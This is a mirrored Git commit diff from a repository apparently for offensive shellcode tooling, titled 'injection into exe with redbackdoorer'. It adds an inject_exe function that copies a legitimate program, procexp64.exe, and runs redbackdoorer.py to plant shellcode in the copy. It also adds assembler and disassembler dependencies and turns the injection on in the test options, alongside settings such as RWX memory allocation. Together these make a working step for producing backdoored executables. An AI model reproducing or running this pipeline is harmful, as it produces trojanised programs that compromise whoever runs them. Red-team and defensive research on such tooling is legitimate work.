mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
feature: injection into exe with redbackdoorer
This commit is contained in:
@@ -2,7 +2,7 @@ import subprocess
|
|||||||
import os
|
import os
|
||||||
import pefile
|
import pefile
|
||||||
import time
|
import time
|
||||||
|
import shutil
|
||||||
|
|
||||||
SHC_VERIFY_SLEEP = 0.1
|
SHC_VERIFY_SLEEP = 0.1
|
||||||
|
|
||||||
@@ -189,3 +189,20 @@ def verify_shellcode(shc_name):
|
|||||||
os.remove(verify_filename)
|
os.remove(verify_filename)
|
||||||
else:
|
else:
|
||||||
print("---> FAIL. Payload did not create file.")
|
print("---> FAIL. Payload did not create file.")
|
||||||
|
|
||||||
|
|
||||||
|
def inject_exe(shc_file, exe_in, exe_out):
|
||||||
|
print("--[ Injecting: shc {} into: {} -> {} ]".format(
|
||||||
|
shc_file, exe_in, exe_out
|
||||||
|
))
|
||||||
|
shutil.copyfile(exe_in, exe_out)
|
||||||
|
|
||||||
|
# python3.exe .\redbackdoorer.py 1,1 main-clean-append.bin .\exes\procexp64-a.exe
|
||||||
|
subprocess.run([
|
||||||
|
"python3.exe",
|
||||||
|
"redbackdoorer.py",
|
||||||
|
"1,1",
|
||||||
|
shc_file,
|
||||||
|
exe_out
|
||||||
|
], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
||||||
|
|
||||||
|
|||||||
@@ -1 +1,3 @@
|
|||||||
pefile
|
pefile
|
||||||
|
capstone
|
||||||
|
keystone-engine
|
||||||
|
|||||||
@@ -55,6 +55,10 @@ options_test = {
|
|||||||
"test_obfuscated_shc": False,
|
"test_obfuscated_shc": False,
|
||||||
"exec_final_shellcode": False,
|
"exec_final_shellcode": False,
|
||||||
|
|
||||||
|
"inject_exe": True,
|
||||||
|
"inject_exe_in": "exes/procexp64.exe",
|
||||||
|
"inject_exe_out": "exes/procexp64-a.exe",
|
||||||
|
|
||||||
"alloc_style": AllocStyle.RWX,
|
"alloc_style": AllocStyle.RWX,
|
||||||
"exec_style": ExecStyle.CALL,
|
"exec_style": ExecStyle.CALL,
|
||||||
"copy_style": CopyStyle.SIMPLE,
|
"copy_style": CopyStyle.SIMPLE,
|
||||||
@@ -110,6 +114,9 @@ def main():
|
|||||||
if options["exec_final_shellcode"]:
|
if options["exec_final_shellcode"]:
|
||||||
print("--[ Test Append shellcode ]")
|
print("--[ Test Append shellcode ]")
|
||||||
test_shellcode("main-clean-append.bin")
|
test_shellcode("main-clean-append.bin")
|
||||||
|
|
||||||
|
if options["inject_exe"]:
|
||||||
|
inject_exe("main-clean-append.bin", options["inject_exe_in"], options["inject_exe_out"])
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|||||||
Reference in New Issue
Block a user